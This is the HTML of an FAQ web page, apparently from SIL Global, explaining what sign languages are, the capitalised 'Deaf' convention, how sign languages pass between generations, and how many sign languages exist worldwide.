</section> </div> </div> </div> <div class="main-container container"> <div class="row"> <section class="col-md-8 main-content-column"> <div id="page-title"> <h1 class="page-title">FAQs</h1> </div> <a id="main-content"></a> <div class="region region-content"> <section id="block-system-main" class="block block-system clearfix"> <div class="ds-1col node node-expertise-page view-mode-full clearfix"> <div class="field field-name-body field-type-text-with-summary field-label-hidden"><div class="field-items"><div class="field-item even"><p><strong>What is a sign language and how do sign languages develop? </strong></p> <p>Where spoken languages rely on sounds that Deaf people cannot hear to express concepts, sign languages rely on complex and linguistically significant combinations of hand motions, body movements and facial expressions. The visual nature of sign languages makes them a natural means of communication for Deaf communities. Sign languages are capable of communicating a full range of meaning, just as spoken languages do. Often, signs may visually depict in some way the ideas they represent, but an equal number of signs are completely arbitrary. Some sign languages utilize manual alphabets to spell out proper names or borrow spoken language terms. Spoken language grammars are linear (normally just one idea presented at a time). In contrast, sign language grammars are spatial—a number of ideas can be expressed simultaneously and the relative placement of people and places is depicted directly in the space around the signer. Sign languages have developed naturally over time through Deaf people communicating with each other, just as spoken languages originated naturally through hearing people speaking with each other. </p> <p><strong>Why is the word “Deaf” capitalized? What does that mean? </strong></p> <p>When capitalized, “Deaf” refer to a linguistic-cultural group, whereas deaf with a “lower case d” refers to the audiological condition. Deaf people are a distinct group culturally from those who are hard of hearing or those who employ oral means of communication and identify more closely with the hearing community. Much as someone who was born in Sweden and speaks Swedish as his or her first language is recognized as Swedish, so a person who is physically deaf, uses a sign language as his or her first language, and is part of the Deaf community, is a Deaf person. <span>Not all writers and linguists use this convention, however. Some prefer to use lower-case all the time, and use other means to distinguish the two concepts.</span></p> <p>In the USA only about 5% of the Deaf population is born to Deaf parents. As a result, the transmission of sign language usually occurs through peers, not parents. The Deaf community places a high value on interaction with other Deaf people as a means of processing and internalizing information. Gathering at Deaf schools, clubs, associations and churches plays an important role in their social and information-gathering life. Informal interaction in such settings is the primary way that sign languages are passed on from one generation to the next. In these contexts, a Deaf culture emerges that expresses uniquely Deaf values, customs, world views, and approaches to communication.</p> <p><strong>How many different sign languages are used by Deaf people? </strong></p> <p>Linguists have identified more than 149 sign languages worldwide, and SIL estimates that the actual number may exceed 400. Generally, these sign languages are named after the countries in which their communities reside. There are Egyptian Sign Language, Cuban Sign Language and Ghanaian Sign Language—and so on. Some are specific to regions or cities within the same country. For example, there are Haiphong Sign Language and Hanoi Sign Languages within the country of Vietnam. In other cases, totally unrelated sign languages have arisen in different countries that otherwise share the same spoken language—as is the case for British Sign Language and American Sign Languages. In other words, there is no correlation between the local/national spoken language and any sign languages that may have developed in the same location.</p> <p> </p> </div></div></div></div> </section> </div> </section> <aside class="col-md-3 sidebar-second-wrapper" role="complementary"> <div class="region region-sidebar-second"> <section id="block-menu-block-4" class="block block-menu-block clearfix"> <div class="menu-block-wrapper menu-block-4 menu-name-menu-expertise parent-mlid-0 menu-level-3"> <ul class="menu nav"><li class="first leaf menu-mlid-3547"><a href="/sign-languages">Sign Languages</a></li> <li class="expanded menu-mlid-3234"><a href="/sign-languages/what-we-do">What we do</a><ul><li class="first leaf menu-mlid-3237"><a href="/sign-languages/technical-services">Technical Services</a></li> <li class="leaf menu-mlid-3236"><a href="/sign-languages/training-0">Training</a></li> <li class="last leaf menu-mlid-3235"><a href="/sign-languages/research">Research</a></li> </ul></li> <li class="leaf menu-mlid-2091"><a href="/sign-languages/sign-language-resources">Sign Language Resources</a></li> <li class="leaf menu-mlid-25331"><a href="/sign-languages/stories">Stories</a></li> <li class="leaf menu-mlid-1994"><a href="/sign-languages/news">News</a></li> <li class="leaf active-trail active menu-mlid-2093 active active"><a href="/sign-languages/faqs" class="active-trail active">FAQs</a></li> <li class="last leaf menu-mlid-2001"><a href="/sign-languages/contact">Contact</a></li> </ul></div> </section> </div> </aside> <!-- /#sidebar-second --> </div> </div> <footer class="footer"> <div class="footer-top"> <div class="container"> <div class="region region-footer"> <section id="block-panels-mini-sil-bootstrap-footer-menu" class="block block-panels-mini clearfix"> <div class="panel-flexible panels-flexible-new clearfix" id="mini-panel-sil_bootstrap_footer_menu"> <div class="panel-flexible-inside panels-flexible-new-inside"> <div class="panels-flexible-row panels-flexible-row-new-main-row panels-flexible-row-first clearfix footer-links"> <div class="inside panels-flexible-row-inside panels-flexible-row-new-main-row-inside panels-flexible-row-inside-first clearfix"> <div class="panels-flexible-region panels-flexible-region-new-column_1 panels-flexible-region-first "> <div class="inside panels-flexible-region-inside panels-flexible-region-new-column_1-inside panels-flexible-region-inside-first"> <div class="panel-pane pane-block pane-block-276 pane-block footer-logo" > <div class="pane-content"> <p><img alt="" src="/sites/default/files/sil_logo_white.png" style="width: 100px; height: 54px;" /></p> </div> </div> </div> </div> <div class="panels-flexible-region panels-flexible-region-new-column_2 "> <div class="inside panels-flexible-region-inside panels-flexible-region-new-column_2-inside"> <div class="panel-pane pane-block pane-menu-block-37 pane-menu-block" > <h2 class="pane-title"> <a href="/about">About Us</a> </h2> <div class="pane-content"> </div> </div> <div class="panel-separator"></div><div class="panel-pane pane-block pane-menu-block-38 pane-menu-block" > <h2 class="pane-title"> <a href="/blog">Blog</a> </h2> <div class="pane-content"> </div> </div> <div class="panel-separator"></div><div class="panel-pane pane-block pane-menu-block-41 pane-menu-block" > <h2 class="pane-title"> <a href="/about/news">News</a> </h2> <div class="pane-content"> </div> </div> </div> </div> <div class="panels-flexible-region panels-flexible-region-new-column_3 "> <div class="inside panels-flexible-region-inside panels-flexible-region-new-column_3-inside"> <div class="panel-pane pane-block pane-menu-block-44 pane-menu-block" > <h2 class="pane-title"> <a href="/give">Ways to Donate</a> </h2> <div class="pane-content"> </div> </div> <div class="panel-separator"></div><div class="panel-pane pane-block pane-menu-block-39 pane-menu-block" > <h2 class="pane-title"> <a href="/contact">Contact Us</a> </h2> <div class="pane-content"> </div> </div> <div class="panel-separator"></div><div class="panel-pane pane-block pane-menu-block-42 pane-menu-block" > <h2 class="pane-title"> <a href="/leaders">Our Leaders</a> </h2> <div class="pane-content"> </div> </div> </div> </div> <div class="panels-flexible-region panels-flexible-region-new-column_4 panels-flexible-region-last "> <div class="inside panels-flexible-region-inside panels-flexible-region-new-column_4-inside panels-flexible-region-inside-last"> <div class="panel-pane pane-block pane-menu-block-45 pane-menu-block" > <h2 class="pane-title"> <a href="/about/why-languages-matter">Why Languages Matter</a> </h2> <div class="pane-content"> </div> </div> <div class="panel-separator"></div><div class="panel-pane pane-block pane-menu-block-43 pane-menu-block" > <h2 class="pane-title"> <a href="/about/discover">Our Work</a> </h2> <div class="pane-content"> </div> </div> <div class="panel-separator"></div><div class="panel-pane pane-block pane-menu-block-40 pane-menu-block" > <h2 class="pane-title"> <a href="/language-services">Language Services</a> </h2> <div class="pane-content"> </div> </div> </div> </div> </div> </div> <div class="panels-flexible-row panels-flexible-row-new-2 panels-flexible-row-last clearfix "> <div class="inside panels-flexible-row-inside panels-flexible-row-new-2-inside panels-flexible-row-inside-last clearfix"> <div class="panels-flexible-region panels-flexible-region-new-trust_and_social_icons panels-flexible-region-first panels-flexible-region-last "> <div class="inside panels-flexible-region-inside panels-flexible-region-new-trust_and_social_icons-inside panels-flexible-region-inside-first panels-flexible-region-inside-last"> <div class="panel-pane pane-block pane-menu-block-46 pane-menu-block footer-social" > <div class="pane-content"> <div class="menu-block-wrapper menu-block-46 menu-name-menu-social parent-mlid-0 menu-level-1"> <ul class="menu nav"><li class="first leaf menu-mlid-483"><a href="https://www.facebook.com/silglobal" class="menu_icon menu-483" target="_blank"><i class="fa fa-facebook" aria-hidden="true"></i></a></li> <li class="leaf menu-mlid-114151"><a href="https://www.instagram.com/sil_global/"><i class="fa fa-instagram" aria-hidden="true"></i></a></li> <li class="leaf menu-mlid-114156"><a href="http://linkedin.com/company/silglobal"><i class="fa fa-linkedin" aria-hidden="true"></i></a></li> <li class="leaf menu-mlid-484"><a href="https://twitter.com/silglobal"><i class="fa fa-twitter" aria-hidden="true"></i></a></li> <li class="last leaf menu-mlid-482"><a href="https://www.youtube.com/@SILglobal" class="menu_icon menu-482"><i class="fa fa-youtube-play" aria-hidden="true"></i></a></li> </ul></div> </div> </div> </div> </div> </div> </div> </div> </div> </section> </div> </div> </div> <div class="footer-bottom"> <div class="container"> <div class="region region-footer-bottom"> <section id="block-block-316" class="block block-block clearfix"> <p>Copyright © 2025 <a href="https://www.sil.org">SIL Global</a> | <a href="https://www.sil.org/terms-use" title="Terms of Use | Privacy Policy | External Links Disclaimer">Terms of Use | Privacy Policy | External Links Disclaimer</a> | <a href="https://sil.org/ai-ethics-statement">AI Ethics Statement</a></p> </section> <section id="block-block-271" class="block block-block clearfix"> <p class="text-center"><a href="https://www.guidestar.org/profile/75-1840827" target="_blank"><img alt="" src="/sites/default/files/candid-seal-gold-2022.png" style="width: 75px; height: 75px;" /></a> <a href="https://www.ecfa.org/MemberProfile.aspx?ID=60424" target="_blank"><img alt="" src="/sites/default/files/ecfa-seal-charter.png" style="width: 75px; height: 75px;" /></a></p> </section> </div> </div> </div> </footer> <script src="https://www.sil.org/sites/default/files/js/js_7-q4xx5FaXgFWWma9tMCS9Q__822jcg6rhczPisS8LQ.js"></script> <script src="https://www.sil.org/sites/default/files/js/js_MLVgtzZ1ORq9krYqkeOsRay6ou_T-0QZytivuM9tTT8.js"></script> <script src="https://www.sil.org/sites/default/files/js/js_MRdvkC2u4oGsp5wVxBG1pGV5NrCPW3mssHxIn6G9tGE.js"></script> </body> </html>